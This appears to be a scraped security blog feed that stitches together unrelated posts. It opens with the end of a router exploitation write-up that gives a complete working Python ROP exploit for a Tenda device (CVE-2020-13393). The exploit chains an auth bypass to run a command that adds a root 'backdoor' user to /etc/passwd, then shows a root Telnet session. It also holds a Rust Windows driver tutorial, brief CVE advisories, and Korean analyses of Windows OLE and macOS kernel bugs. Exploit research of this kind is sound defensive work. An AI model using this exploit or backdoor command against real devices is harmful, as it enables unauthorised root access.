$r9  : 0x0002e450  →   push {r4,  r11,  lr}
$r10 : 0xbefffc28  →  0x00000000
$r11 : 0xbefff510  →  0x00000000
$r12 : 0x400dcedc  →  0x400d2a50  →  <__pthread_unlock+0> mov r3,  r0
$sp  : 0xbefff8d8  →  0x00000000
$lr  : 0x00010944  →   str r0,  [r11,  #-20]	; 0xffffffec
$pc  : 0x42424242 ("BBBB"?)
$cpsr: [negative zero CARRY overflow interrupt fast thumb]

The easiest way to execute a shell command now was to find a gadget chain that would let us invoke the system() function. The calling convention in the ARM architecture is to pass function arguments via registers. The system() function, specifically, accepts the string containing the command to execute as a pointer passed in the r0 register.

Let’s not forget that we also needed to write the command string somewhere in memory. If this was a local binary and not an HTTP server, we could have loaded the address of the /bin/sh string, that is commonly found somewhere in libc, but in this case, we need to specify a custom command in order to set up a backdoor or a reverse shell. The command string itself must terminate with a null byte, therefore we could not just put it in the middle of the padding before the payload. What we could do instead, was to put the string after the payload. With no ASLR, the string’s address will be fixed regardless, and the string’s null byte will just be the null byte at the end of the whole payload.

After loading the command string’s address in r0, we needed to “return” to system(). Regarding this, I have a small confession to make. Even though I talked about a return instruction until now, in the ARM32 architecture there is no such thing; a return is simply performed by loading an address into the pc register, which may be done with many different instructions. The simplest example that loads an address from the stack is pop {pc}.

As a recap, what we needed to do is:

  • write the command string’s address in the stack
  • load the address in r0
  • write the system() function address in the stack
  • load the address in pc

In order to do that, we used ropper to look for gadgets similar to pop {r0}; pop {pc}, but it was not easy to find a suitable one without a null byte in its address. Luckily, we actually found a nice pop {r0, pc} instruction inside libc.so, accomplishing both tasks at once.

With GDB, we got the address of __libc_system (don’t make the mistake of searching for just system, it’s not the right function) and calculated the address where the command string would be written to. We now had everything needed to run a shell command! But which command?

We checked which binaries were in the system to look for something that could give us a reverse shell, like a Python or Ruby interpreter, but we could not find anything useful. We could have cross-compiled a custom reverse shell binary, but we decided to go for a much quicker solution: just use the existing Telnet server. We could simply create a backdoor user by adding a line to /etc/passwd, and then log in with that. The command string would be the following:

echo 'backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh' >> /etc/passwd

Note: you can generate a valid hash for the /etc/passwd file with the following command:

openssl passwd -1 -salt xyz hunter2

Finally, here’s what the complete exploit looks like:

#!/usr/bin/env python3
import requests
import random
import sys
import struct

p32 = lambda addr: struct.pack("<I", addr) # Equivalent to pwn.p32

def gen_payload():
    timeto_addr = p32(0xbefff510)      # addr of the time_to string on the stack, i.e. "1"
    system_addr = p32(0x4025c270)      # addr of the system function
    cmd = "echo 'backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh' >> /etc/passwd" # command to run with system()
    cmd_str_addr = p32(0xbefff8e0)     # addr of the cmd string on the stack
    pop_r0_pc = p32(0x4023fb80)        # addr of 'pop {r0, pc}' gadget
    
    payload = b"A"*880                 # stuff we don't care about
    payload += timeto_addr * 17        # addr of the time_to str from the stack, i.e. "1"
                                       # here we are overwriting a bunch of ptrs to strings which are strcpy-ed before we reach ret
                                       # so let's overwrite them with a valid str ptr to ensure it doesn't segfault prematurely
    payload += pop_r0_pc               # ret ptr is here. we jump to 'pop {r0, pc}' gadget to load the cmd string ptr into r0
    payload += cmd_str_addr            # addr of the cmd string from the stack, to be loaded in r0
    payload += system_addr             # addr of system, to be loaded in pc
    payload += cmd.encode()            # the "cmd" string itself, placed at the end so it ends with '\0'
    
    return payload

def exploit(target: str):
    name = "test" + ''.join([str(i) for i in [random.randint(0,9) for _ in range(5)]])
    res = requests.post(
        f"http://{target}/goform/saveParentControlInfo?img/main-logo.png", # Use CVE-2021-44971 Auth Bypass: https://github.com/21Gun5/my_cve/blob/main/tenda/bypass_auth.md
        data={
            "deviceId":"00:00:00:00:00:02",
            "deviceName":name,
            "enable":0,
            "time": gen_payload() + b"-1",
            "url_enable":1,
            "urls":"x.com",
            "day":"1,1,1,1,1,1,1",
            "limit_type":1
            }
    )
    print("Exploit sent")

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} IP:PORT")
        sys.exit()
    target = sys.argv[1]
    try:
        input("Press enter to send exploit")
        exploit(target)
        print("Done! Login to Telnet with backdoor:hunter2")
    except Exception as e:
        print(e)
        print("Connection closed unexpectedly")

The exploit worked flawlessly and added a new “backdoor” user to the system. We could then simply connect with Telnet to have a full root shell.

The final exploit is also available in the GitHub repository.

$ telnet 127.0.0.1 20023
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.

Tenda login: backdoor
Password:
~ # cat /etc/passwd
root:$1$nalENqL8$jnRFwb1x5S.ygN.3nwTbG1:0:0:root:/:/bin/sh
admin:6HgsSsJIEOc2U:0:0:Administrator:/:/bin/sh
support:Ead09Ca6IhzZY:0:0:Technical Support:/:/bin/sh
user:tGqcT.qjxbEik:0:0:Normal User:/:/bin/sh
nobody:VBcCXSNG7zBAY:0:0:nobody for ftp:/:/bin/sh
backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh

Conclusion

After the activity we investigated a bit and found out that the specific vulnerability we ended up exploiting was already known as CVE-2020-13393. As far as we can tell, our PoC is the first working exploit for this specific endpoint. Its usefulness is diminished however, due to the plethora of other exploits already available for this platform.

Nevertheless, this challenge was such a nice learning experience. We got to dive deeper into the ARM architecture and sharpen our exploit development skills. Working together, with no reliable Internet also allowed us to share knowledge and approach problems from different perspectives.

If you’ve read this far, nice, well done! Keep an eye on our blog to make sure you don’t miss the next Web and Binary !exploitable episodes.

Writing a Simple Driver in Rust

8 February 2025 at 16:16

The Rust language ecosystem is growing each day, its popularity increasing, and with good reason. It’s the only mainstream language that provides memory and concurrency safety at compile time, with a powerful and rich build system (cargo), and a growing number of packages (crates).

My daily driver is still C++, as most of my work is about low-level system and kernel programming, where the Windows C and COM APIs are easy to consume. Rust is a system programming language, however, which means it plays, or at least can play, in the same playground as C/C++. The main snag is the verbosity required when converting C types to Rust. This “verbosity” can be alleviated with appropriate wrappers and macros. I decided to try writing a simple WDM driver that is not useless – it’s a Rust version of the “Booster” driver I demonstrate in my book (Windows Kernel Programming), that allows changing the priority of any thread to any value.

Getting Started

To prepare for building drivers, consult Windows Drivers-rs, but basically you should have a WDK installation (either normal or the EWDK). Also, the docs require installing LLVM, to gain access to the Clang compiler. I am going to assume you have these installed if you’d like to try the following yourself.

We can start by creating a new Rust library project (as a driver is a technically a DLL loaded into kernel space):

cargo new --lib booster

We can open the booster folder in VS Code, and begin are coding. First, there are some preparations to do in order for actual code to compile and link successfully. We need a build.rs file to tell cargo to link statically to the CRT. Add a build.rs file to the root booster folder, with the following code:

fn main() -> Result<(), wdk_build::ConfigError> {
    std::env::set_var("CARGO_CFG_TARGET_FEATURE", "crt-static");
    wdk_build::configure_wdk_binary_build()
}

(Syntax highlighting is imperfect because the WordPress editor I use does not support syntax highlighting for Rust)

Next, we need to edit cargo.toml and add all kinds of dependencies. The following is the minimum I could get away with:

[package]
name = "booster"
version = "0.1.0"
edition = "2021"

[package.metadata.wdk.driver-model]
driver-type = "WDM"

[lib]
crate-type = ["cdylib"]
test = false

[build-dependencies]
wdk-build = "0.3.0"

[dependencies]
wdk = "0.3.0"       
wdk-macros = "0.3.0"
wdk-alloc = "0.3.0" 
wdk-panic = "0.3.0" 
wdk-sys = "0.3.0"   

[features]
default = []
nightly = ["wdk/nightly", "wdk-sys/nightly"]

[profile.dev]
panic = "abort"
lto = true

[profile.release]
panic = "abort"
lto = true

The important parts are the WDK crates dependencies. It’s time to get to the actual code in lib.rs.

The Code

We start by removing the standard library, as it does not exist in the kernel:

#![no_std]

Next, we’ll add a few use statements to make the code less verbose:

use core::ffi::c_void;
use core::ptr::null_mut;
use alloc::vec::Vec;
use alloc::{slice, string::String};
use wdk::*;
use wdk_alloc::WdkAllocator;
use wdk_sys::ntddk::*;
use wdk_sys::*;

The wdk_sys crate provides the low level interop kernel functions. the wdk crate provides higher-level wrappers. alloc::vec::Vec is an interesting one. Since we can’t use the standard library, you would think the types like std::vec::Vec<> are not available, and technically that’s correct. However, Vec is actually defined in a lower level module named alloc::vec, that can be used outside the standard library. This works because the only requirement for Vec is to have a way to allocate and deallocate memory. Rust exposes this aspect through a global allocator object, that anyone can provide. Since we have no standard library, there is no global allocator, so one must be provided. Then, Vec (and String) can work normally:

#[global_allocator]
static GLOBAL_ALLOCATOR: WdkAllocator = WdkAllocator;

This is the global allocator provided by the WDK crates, that use ExAllocatePool2 and ExFreePool to manage allocations, just like would do manually.

Next, we add two extern crates to get the support for the allocator and a panic handler – another thing that must be provided since the standard library is not included. Cargo.toml has a setting to abort the driver (crash the system) if any code panics:

extern crate wdk_panic;
extern crate alloc;

Now it’s time to write the actual code. We start with DriverEntry, the entry point to any Windows kernel driver:

#[export_name = "DriverEntry"]
pub unsafe extern "system" fn driver_entry(
    driver: &mut DRIVER_OBJECT,
    registry_path: PUNICODE_STRING,
) -> NTSTATUS {

Those familiar with kernel drivers will recognize the function signature (kind of). The function name is driver_entry to conform to the snake_case Rust naming convention for functions, but since the linker looks for DriverEntry, we decorate the function with the export_name attribute. You could use DriverEntry and just ignore or disable the compiler’s warning, if you prefer.

We can use the familiar println! macro, that was reimplemented by calling DbgPrint, as you would if you were using C/C++. You can still call DbgPrint, mind you, but println! is just easier:

println!("DriverEntry from Rust! {:p}", &driver);
let registry_path = unicode_to_string(registry_path);
println!("Registry Path: {}", registry_path);

Unfortunately, it seems println! does not yet support a UNICODE_STRING, so we can write a function named unicode_to_string to convert a UNICODE_STRING to a normal Rust string:

fn unicode_to_string(str: PCUNICODE_STRING) -> String {
    String::from_utf16_lossy(unsafe {
        slice::from_raw_parts((*str).Buffer, (*str).Length as usize / 2)
    })
}

Back in DriverEntry, our next order of business is to create a device object with the name “\Device\Booster”:

let mut dev = null_mut();
let mut dev_name = UNICODE_STRING::default();
string_to_ustring("\\Device\\Booster", &mut dev_name);

let status = IoCreateDevice(
    driver,
    0,
    &mut dev_name,
    FILE_DEVICE_UNKNOWN,
    0,
    0u8,
    &mut dev,
);

The string_to_ustring function converts a Rust string to a UNICODE_STRING:

fn string_to_ustring(s: &str, uc: &mut UNICODE_STRING) -> Vec<u16> {
    let mut wstring: Vec<_> = s.encode_utf16().collect();
    uc.Length = wstring.len() as u16 * 2;
    uc.MaximumLength = wstring.len() as u16 * 2;
    uc.Buffer = wstring.as_mut_ptr();
    wstring
}

This may look more complex than we would like, but think of this as a function that is written once, and then just used all over the place. In fact, maybe there is such a function already, and just didn’t look hard enough. But it will do for this driver.

If device creation fails, we return a failure status:

if !nt_success(status) {
    println!("Error creating device 0x{:X}", status);
    return status;
}

nt_success is similar to the NT_SUCCESS macro provided by the WDK headers.

Next, we’ll create a symbolic link so that a standard CreateFile call could open a handle to our device:

let mut sym_name = UNICODE_STRING::default();
let _ = string_to_ustring("\\??\\Booster", &mut sym_name);
let status = IoCreateSymbolicLink(&mut sym_name, &mut dev_name);
if !nt_success(status) {
    println!("Error creating symbolic link 0x{:X}", status);
    IoDeleteDevice(dev);
    return status;
}

All that’s left to do is initialize the device object with support for Buffered I/O (we’ll use IRP_MJ_WRITE for simplicity), set the driver unload routine, and the major functions we intend to support:

    (*dev).Flags |= DO_BUFFERED_IO;

    driver.DriverUnload = Some(boost_unload);
    driver.MajorFunction[IRP_MJ_CREATE as usize] = Some(boost_create_close);
    driver.MajorFunction[IRP_MJ_CLOSE as usize] = Some(boost_create_close);
    driver.MajorFunction[IRP_MJ_WRITE as usize] = Some(boost_write);

    STATUS_SUCCESS
}

Note the use of the Rust Option<> type to indicate the presence of a callback.

The unload routine looks like this:

unsafe extern "C" fn boost_unload(driver: *mut DRIVER_OBJECT) {
    let mut sym_name = UNICODE_STRING::default();
    string_to_ustring("\\??\\Booster", &mut sym_name);
    let _ = IoDeleteSymbolicLink(&mut sym_name);
    IoDeleteDevice((*driver).DeviceObject);
}

We just call IoDeleteSymbolicLink and IoDeleteDevice, just like a normal kernel driver would.

Handling Requests

We have three request types to handle – IRP_MJ_CREATE, IRP_MJ_CLOSE, and IRP_MJ_WRITE. Create and close are trivial – just complete the IRP successfully:

unsafe extern "C" fn boost_create_close(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
    (*irp).IoStatus.__bindgen_anon_1.Status = STATUS_SUCCESS;
    (*irp).IoStatus.Information = 0;
    IofCompleteRequest(irp, 0);
    STATUS_SUCCESS
}

The IoStatus is an IO_STATUS_BLOCK but it’s defined with a union containing Status and Pointer. This seems to be incorrect, as Information should be in a union with Pointer (not Status). Anyway, the code accesses the Status member through the “auto generated” union, and it looks ugly. Definitely something to look into further. But it works.

The real interesting function is the IRP_MJ_WRITE handler, that does the actual thread priority change. First, we’ll declare a structure to represent the request to the driver:

#[repr(C)]
struct ThreadData {
    pub thread_id: u32,
    pub priority: i32,
}

The use of repr(C) is important, to make sure the fields are laid out in memory just as they would with C/C++. This allows non-Rust clients to talk to the driver. In fact, I’ll test the driver with a C++ client I have that used the C++ version of the driver. The driver accepts the thread ID to change and the priority to use. Now we can start with boost_write:

unsafe extern "C" fn boost_write(_device: *mut DEVICE_OBJECT, irp: *mut IRP) -> NTSTATUS {
    let data = (*irp).AssociatedIrp.SystemBuffer as *const ThreadData;

First, we grab the data pointer from the SystemBuffer in the IRP, as we asked for Buffered I/O support. This is a kernel copy of the client’s buffer. Next, we’ll do some checks for errors:

let status;
loop {
    if data == null_mut() {
        status = STATUS_INVALID_PARAMETER;
        break;
    }
    if (*data).priority < 1 || (*data).priority > 31 {
        status = STATUS_INVALID_PARAMETER;
        break;
    }

The loop statement creates an infinite block that can be exited with a break. Once we verified the priority is in range, it’s time to locate the thread object:

let mut thread = null_mut();
status = PsLookupThreadByThreadId(((*data).thread_id) as *mut c_void, &mut thread);
if !nt_success(status) {
    break;
}

PsLookupThreadByThreadId is the one to use. If it fails, it means the thread ID probably does not exist, and we break. All that’s left to do is set the priority and complete the request with whatever status we have:

        KeSetPriorityThread(thread, (*data).priority);
        ObfDereferenceObject(thread as *mut c_void);
        break;
    }
    (*irp).IoStatus.__bindgen_anon_1.Status = status;
    (*irp).IoStatus.Information = 0;
    IofCompleteRequest(irp, 0);
    status
}

That’s it!

The only remaining thing is to sign the driver. It seems that the crates support signing the driver if an INF or INX files are present, but this driver is not using an INF. So we need to sign it manually before deployment. The following can be used from the root folder of the project:

signtool sign /n wdk /fd sha256 target\debug\booster.dll

The /n wdk uses a WDK test certificate typically created automatically by Visual Studio when building drivers. I just grab the first one in the store that starts with “wdk” and use it.

The silly part is the file extension – it’s a DLL and there currently is no way to change it automatically as part of cargo build. If using an INF/INX, the file extension does change to SYS. In any case, file extensions don’t really mean that much – we can rename it manually, or just leave it as DLL.

Installing the Driver

The resulting file can be installed in the “normal” way for a software driver, such as using the sc.exe tool (from an elevated command window), on a machine with test signing on. Then sc start can be used to load the driver into the system:

sc.exe sc create booster type= kernel binPath= c:\path_to_driver_file
sc.exe start booster

Testing the Driver

I used an existing C++ application that talks to the driver and expects to pass the correct structure. It looks like this:

#include <Windows.h>
#include <stdio.h>

struct ThreadData {
	int ThreadId;
	int Priority;
};

int main(int argc, const char* argv[]) {
	if (argc < 3) {
		printf("Usage: boost <tid> <priority>\n");
		return 0;
	}

	int tid = atoi(argv[1]);
	int priority = atoi(argv[2]);

	HANDLE hDevice = CreateFile(L"\\\\.\\Booster",
		GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0,
		nullptr);

	if (hDevice == INVALID_HANDLE_VALUE) {
		printf("Failed in CreateFile: %u\n", GetLastError());
		return 1;
	}

	ThreadData data;
	data.ThreadId = tid;
	data.Priority = priority;
	DWORD ret;
	if (WriteFile(hDevice, &data, sizeof(data),
		&ret, nullptr))
		printf("Success!!\n");
	else
		printf("Error (%u)\n", GetLastError());

	CloseHandle(hDevice);

	return 0;
}

Here is the result when changing a thread’s priority to 26 (ID 9408):

Conclusion

Writing kernel drivers in Rust is possible, and I’m sure the support for this will improve quickly. The WDK crates are at version 0.3, which means there is still a way to go. To get the most out of Rust in this space, safe wrappers should be created so that the code is less verbose, does not have unsafe blocks, and enjoys the benefits Rust can provide. Note, that I may have missed some wrappers in this simple implementation.

You can find a couple of more samples for KMDF Rust drivers here.

The code for this post can be found at https://github.com/zodiacon/Booster.

CVE-2025-1002

6 February 2025 at 16:33

CWE-295 IMPROPER CERTIFICATE VALIDATION:

MicroDicom DICOM Viewer fails to adequately verify the update server's certificate, which could make it possible for attackers in a privileged network position to alter network traffic and carry out a machine-in-the-middle (MITM) attack. This allows the attackers to modify the server's response and deliver a malicious update to the user.

MicroDicom recommends users upgrade to DICOM Viewer version 2025.1

CVE-2025-0960

4 February 2025 at 16:35

CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow'):

AutomationDirect C-more EA9 HMI contains a function with bounds checks that can be skipped, which could result in an attacker abusing the function to cause a denial-of-service condition or achieving remote code execution on the affected device.

AutomationDirect recommends that users update C-MORE EA9 HMI software and firmware to V6.80

Proactive Cyber Defense: Why Continuous Security Testing is Essential for General Counsels in Regulated Industries

5 February 2025 at 23:18

Increased scrutiny from regulators and shareholders means that security lapses now carry real legal consequences. Executives, corporate officers, and General Counsels must adopt a proactive cybersecurity approach to demonstrate due diligence, mitigate litigation risks, and comply with evolving regulations. This whitepaper explores how continuous security testing strengthens compliance…

Source

[하루한줄] CVE-2025-21298: Windows OLE Double Free 취약점

8 February 2025 at 08:00

URL

Target

  • Windows 10 Version 1809 affected from 10.0.17763.0 before 10.0.17763.6775
  • Windows Server 2019 affected from 10.0.17763.0 before 10.0.17763.6775
  • Windows Server 2019 (Server Core installation) affected from 10.0.17763.0 before 10.0.17763.6775
  • Windows Server 2022 affected from 10.0.20348.0 before 10.0.20348.3091
  • Windows 10 Version 21H2 affected from 10.0.19043.0 before 10.0.19044.5371
  • Windows 11 version 22H2 affected from 10.0.22621.0 before 10.0.22621.4751
  • Windows 10 Version 22H2 affected from 10.0.19045.0 before 10.0.19045.5371
  • Windows Server 2025 (Server Core installation) affected from 10.0.26100.0 before 10.0.26100.2894
  • Windows 11 version 22H3 affected from 10.0.22631.0 before 10.0.22631.4751
  • Windows 11 Version 23H2 affected from 10.0.22631.0 before 10.0.22631.4751
  • Windows Server 2022, 23H2 Edition (Server Core installation) affected from 10.0.25398.0 before 10.0.25398.1369
  • Windows 11 Version 24H2 affected from 10.0.26100.0 before 10.0.26100.2894
  • Windows Server 2025 affected from 10.0.26100.0 before 10.0.26100.2894
  • Windows 10 Version 1507 affected from 10.0.10240.0 before 10.0.10240.20890
  • Windows 10 Version 1607 affected from 10.0.14393.0 before 10.0.14393.7699
  • Windows Server 2016 affected from 10.0.14393.0 before 10.0.14393.7699
  • Windows Server 2016 (Server Core installation) affected from 10.0.14393.0 before 10.0.14393.7699
  • Windows Server 2008 Service Pack 2 affected from 6.0.6003.0 before 6.0.6003.23070
  • Windows Server 2008 Service Pack 2 (Server Core installation) affected from 6.0.6003.0 before 6.0.6003.23070
  • Windows Server 2008 Service Pack 2 affected from 6.0.6003.0 before 6.0.6003.23070
  • Windows Server 2008 R2 Service Pack 1 affected from 6.1.7601.0 before 6.1.7601.27520
  • Windows Server 2008 R2 Service Pack 1 (Server Core installation) affected from 6.1.7601.0 before 6.1.7601.27520
  • Windows Server 2012 affected from 6.2.9200.0 before 6.2.9200.25273
  • Windows Server 2012 (Server Core installation) affected from 6.2.9200.0 before 6.2.9200.25273
  • Windows Server 2012 R2 affected from 6.3.9600.0 before 6.3.9600.22371
  • Windows Server 2012 R2 (Server Core installation) affected from 6.3.9600.0 before 6.3.9600.22371

Explain

Windows OLE 에서 Double Free 취약점이 발견되었습니다. MS Word 와 같은 OLE를 사용하는 MS Office 류들에서 취약점을 트리거할 수 있기에 상당히 영향도가 높은 RCE 취약점이라고 보여지네요.

OLE (Object Linking and Embedding) 는 Windows 의 각종 프로그램들이 데이터를 주고받는 기능 중에 하나입니다. 대표적으로 문서 간 데이터 공유를 할 때 사용되는데요. 예를 들어서 이미지 하나가 여러 문서 파일에 삽입되었다고 해봅시다.

이미지가 변경된다면 삽입된 모든 문서들의 이미지를 변경해야해서 상당히 불편할 겁니다. 이 때, 문서 하나에서 이미지를 변경해도 다른 문서들에 다 반영되게끔 하는게 OLE 의 장점 중 하나입니다.

다만 이런 강력한 기능 덕분에 수 년간 많은 취약점들이 이 OLE 기능 통해 발견되곤 하였습니다. 😢

Root Cause

ole32.dllUtOlePresStmToContentsStm 라는 함수에서 취약점이 발생했는데요. 이 함수는 OlePres 스트림 내 데이터를 적절하게 변환해서 CONTENTS 라는 스트림에 삽입하게끔 구현된 코드입니다.

아래 코드는 2025년 1월에 패치된 UtOlePresStmToContentsStm 함수를 디핑한 결과입니다. 코드를 보시면 CONTENTS 스트림용 pstmContents 를 할당하고서 즉시 해제를 하는데요. OlePres 스트림이 세팅되어 있지 않으면 OpenStream 함수가 실패하고 이어서 UtReadOlePresStmHeader 함수도 실패하여 pstmContents 이 값을 가리키는 채로 해제를 한 번 더 하게 됩니다.

__int64 __fastcall UtOlePresStmToContentsStm(IStorage *pstg, wchar_t *puiStatus, __int64 a3, unsigned int *lpszPresStm){  struct IStorageVtbl *lpVtbl; // rax  int v7; // r14d+ bool IsEnabled; // al  IStream *v10; // rcx  bool v11; // zf  struct IStorageVtbl *v12; // rax  int v13; // ebx  HRESULT v14; // eax  const wchar_t *v15; // rdx  IStream *pstmContents; // [rsp+40h] [rbp-19h] BYREF  IStream *pstmOlePres; // [rsp+48h] [rbp-11h] BYREF  tagFORMATETC foretc; // [rsp+50h] [rbp-9h] BYREF  tagHDIBFILEHDR hdfh; // [rsp+70h] [rbp+17h] BYREF  *lpszPresStm = 0;  lpVtbl = pstg->lpVtbl;  pstmContents = 0LL;  v7 = 1;   // "CONTENTS" 스트림을 생성하고 pstmContents 에 저장  if ( (lpVtbl->CreateStream)(pstg, L"CONTENTS", 18LL, 0LL, 0, &pstmContents) )    return 0LL;  // pstmContents 를 즉시 해제.  (pstmContents->lpVtbl->Release)(pstmContents);+ IsEnabled = wil::details::FeatureImpl<__WilFeatureTraits_Feature_3047977275>::__private_IsEnabled(&`wil::Feature<__WilFeatureTraits_Feature_3047977275>::GetImpl'::`2'::impl);+ v10 = pstmContents;+ v11 = !IsEnabled;  v12 = pstg->lpVtbl;+ if ( !v11 )+   v10 = 0LL;+ pstmContents = v10;  (v12->DestroyElement)(pstg, L"CONTENTS");  v13 = (pstg->lpVtbl->OpenStream)(pstg, &OlePres, 0LL, 16LL, 0, &pstmOlePres);  if ( v13 )  {    *lpszPresStm |= 1u;    if ( (pstg->lpVtbl->OpenStream)(pstg, L"CONTENTS", 0LL, 16LL, 0, &pstmContents) )    {      *lpszPresStm |= 2u;    }    else    {      // 이쪽 분기를 타도록 트리거      (pstmContents->lpVtbl->Release)(pstmContents);+     wil::details::FeatureImpl<__WilFeatureTraits_Feature_3047977275>::__private_IsEnabled(&`wil::Feature<__WilFeatureTraits_Feature_3047977275>::GetImpl'::`2'::impl);    }    return v13;  }  foretc.ptd = 0LL;  v13 = UtReadOlePresStmHeader(pstmOlePres, &foretc, 0LL, 0LL);  if ( v13 >= 0 )  {    v13 = (pstmOlePres->lpVtbl->Read)(pstmOlePres, &hdfh, 16LL);    if ( v13 >= 0 )    {      v13 = OpenOrCreateStream(pstg, L"CONTENTS", &pstmContents);      if ( v13 < 0 )      {        *lpszPresStm |= 2u;        goto $errRtn_197;      }      if ( foretc.dwAspect == 4 )      {        *lpszPresStm |= 4u;        v7 = 0;        v13 = 0;        goto $errRtn_197;      }      if ( foretc.cfFormat == 8 )      {        v14 = UtDIBStmToDIBFileStm(pstmOlePres, hdfh.dwSize, pstmContents);LABEL_19:        v13 = v14;        goto $errRtn_197;      }      if ( foretc.cfFormat == 3 )      {        v14 = UtMFStmToPlaceableMFStm(pstmOlePres, hdfh.dwSize, hdfh.dwWidth, hdfh.dwHeight, pstmContents);        goto LABEL_19;      }      v13 = -2147221398;    }  }$errRtn_197:  if ( pstmOlePres )    (pstmOlePres->lpVtbl->Release)(pstmOlePres);  // pstmContents 내 값이 있다면 해제 진행.  if ( pstmContents )    (pstmContents->lpVtbl->Release)(pstmContents);  if ( foretc.ptd )    CoTaskMemFree(foretc.ptd);  if ( v13 )  {    v15 = L"CONTENTS";    goto LABEL_31;  }  if ( v7 )  {    v15 = &OlePres;LABEL_31:    (pstg->lpVtbl->DestroyElement)(pstg, v15);  }  return v13;}

패치된 라인을 보면 IsEnabled 라는 flag 를 하나 추가해서 pstmContents 의 해제 여부를 판단하고 해제가 되었으면 0으로 초기화 하게끔 패치가 되었습니다.

Reference

[하루한줄] CVE-2025-24118: macOS의 race condition으로 인한 임의 credential 획득 가능 취약점

5 February 2025 at 10:00

URL

https://jprx.io/cve-2025-24118/

Target

  • macOS Sonoma < 14.7.3
  • macOS Sequoia < 15.3
  • iPadOS < 17.7.4

Explain

MIT CSAIL의 보안 연구원 Joseph Ravichandran(@0xjprx)에 따르면, Apple의 macOS 커널(XNU)에서 새롭게 발견된 race condition으로 인해 공격자가 권한 상승과 메모리 손상을 일으킬 수 있고 잠재적으로 커널 수준의 코드 실행을 달성할 수 있습니다. 이 취약점은 Safe Memory Reclamation (SMR), read-only 페이지 매핑, 스레드별 자격 증명, memcpy 사용 등의 조합으로 발생하며, 결국 무단 자격 증명 수정을 허용하는 race condition으로 이어집니다.

root cause

1) Safe Memory Reclamation

Safe Memory Reclamation이란 lock을 사용하지 않고 메모리를 회수하는 동시에 use-after-free 공격이 불가능하게 하는 알고리즘입니다. 이 SMR은 최근에서야 macOS 커널인 XNU에 일부분 추가되었는데, 그 중 하나가 오늘 말씀드리는 취약점에 해당하는 프로세스 자격 증명 구조입니다.

Safe Memory Reclamation in XNU(링크)
RCU(Read-Copy-Update 방식)과 매우 비슷하게, XNU의 SMR 구현은 read-side critical section을 사용합니다. 즉, reader는 SMR 보호 필드를 읽기 전 smr_enter()을 호출해야 하고, 읽은 후 smr_leave()를 호출해야 합니다.
writer은 작성자를 직렬화 함으로써 한 번에 하나의 작성자만 있을 수 있도록 합니다. writer은 atomic 업데이트를 통해 데이터 구조의 새 버전을 게시하는데, 여기서 atomic CPU 명령어를 사용하여 메모리를 업데이트하는 것이 매우 중요합니다. 그렇지 않으면 reader가 SMR 포인터에 대한 중간 값을 읽을 수 있게 됩니다.

2) Read-Only Pages in XNU

XNU는 읽기 전용 객체를 할당하고 관리하기 위해 API를 사용합니다(링크).

읽기 전용 객체는 읽기 전용 매핑을 위해 설계된 특수 버전의 allocator인 zalloc_ro을 통해 할당될 수 있습니다. 그리고 zalloc_ro_mut 과 이와 관련된 메소드로만 읽기 전용의 데이터를 수정할 수 있습니다. 이때 수정할 객체와 쓸 내용을 인수로 받는데. 읽기 전용 객체용 memcpy의 특수 버전과 비슷합니다. 이 zalloc_ro_mut는 내부적으로 pmap_ro_zone_memcpy를 사용하는데, 이를 통해 아키텍쳐에 따라 페이지 보호 계층(PPL)을 통과하여 페이지를 잠금 해제할 수 있습니다.

x84_64에서 memcpy의 구현을 살펴보면,

ENTRY(memcpy)  movq    %rdi, %rax  /* return destination */  movq    %rdx, %rcx  cld                 /* copy forwards */  rep movsb  ret

rep movsb로 인해 atomic이지 않고 바이트 단위로 복사합니다.

만약, 동시에 reader가 부분적으로 업데이트된 포인터를 관찰하면 writer 스레드에서 작성중인 데이터에 이전 값과 새 값의 일부를 연결하여 형성된 잘못된 주소로 역참조될 수 있습니다. 이는 잠재적으로 어떤 writer도 참조하지 않은 3번째 유효한 객체를 정확히 가리킬 수 있습니다.

읽기 전용 객체를 업데이트할 때 호출 트리를 다시 살펴보면 함수 호출 순서는 다음과 같습니다.

zalloc_ro_mutpmap_ro_zone_memcpymemcpyrep movsb

결국 zalloc_ro_mutrep movsp를 사용함은 자명하지만 atomic 쓰기가 필요한 곳에 atomic 쓰기가 되지 않습니다. 그래서 만약, zalloc_ro_mutzalloc_ro_mut_atomic이 사용되어야 할 곳에 있다면 race condition 버그를 찾을 가능성이 높습니다.

3) Per-Thread Credentials

XNU의 자격 증명은 스레드의 사용자 ID와 같은 여러 보안 관련 필드를 트레이싱하는 데이터 구조입니다. 다음은 ucred의 정의입니다.

struct ucred {  struct ucred_rw        *cr_rw;  void                   *cr_unused;  u_long                  cr_ref;  /* reference count */  struct posix_cred {    /*     * The credential hash depends on everything from this point on     * (see kauth_cred_get_hashkey)     */    uid_t   cr_uid;         /* effective user id */    uid_t   cr_ruid;        /* real user id */    uid_t   cr_svuid;       /* saved user id */    u_short cr_ngroups;     /* number of groups in advisory list */    u_short __cr_padding;    gid_t   cr_groups[NGROUPS];/* advisory group list */    gid_t   cr_rgid;        /* real group id */    gid_t   cr_svgid;       /* saved group id */    uid_t   cr_gmuid;       /* UID for group membership purposes */    int     cr_flags;       /* flags on credential */  } cr_posix;...};

자격 증명의 일부 posix_cred는 현재 스레드의 권한을 추적하는데 사용됩니다.

시스템의 대부분 스레드는 현재 사용자의 권한과 상관없이 동일한 권한을 갖습니다. 모든 스레드에 대해 이러한 동일 자격 증명의 사본을 저장하려면 상당한 메모리가 필요합니다. 그래서 XNU는 SMR 해시 테이블을 사용하여 자격 증명 구조를 해싱하여 스레드가 동일한 자격 증명 객체를 공유할 수 있도록 합니다. 이 자격 증명 객체는 참조 카운트(cr_ref)를 사용하여 해제할 수 있는 시점을 추적합니다.

해시는 cred의 두번째 절반(e.g., cr_posix 이후)을 사용하여 계산됩니다. 이를 통해 동일한 권한을 가진 스레드가 동일한 자격 증명 객체를 공유하여 메모리를 절약할 수 있습니다.

Race Condition

앞서 말씀드린 root cause를 요약해보겠습니다.

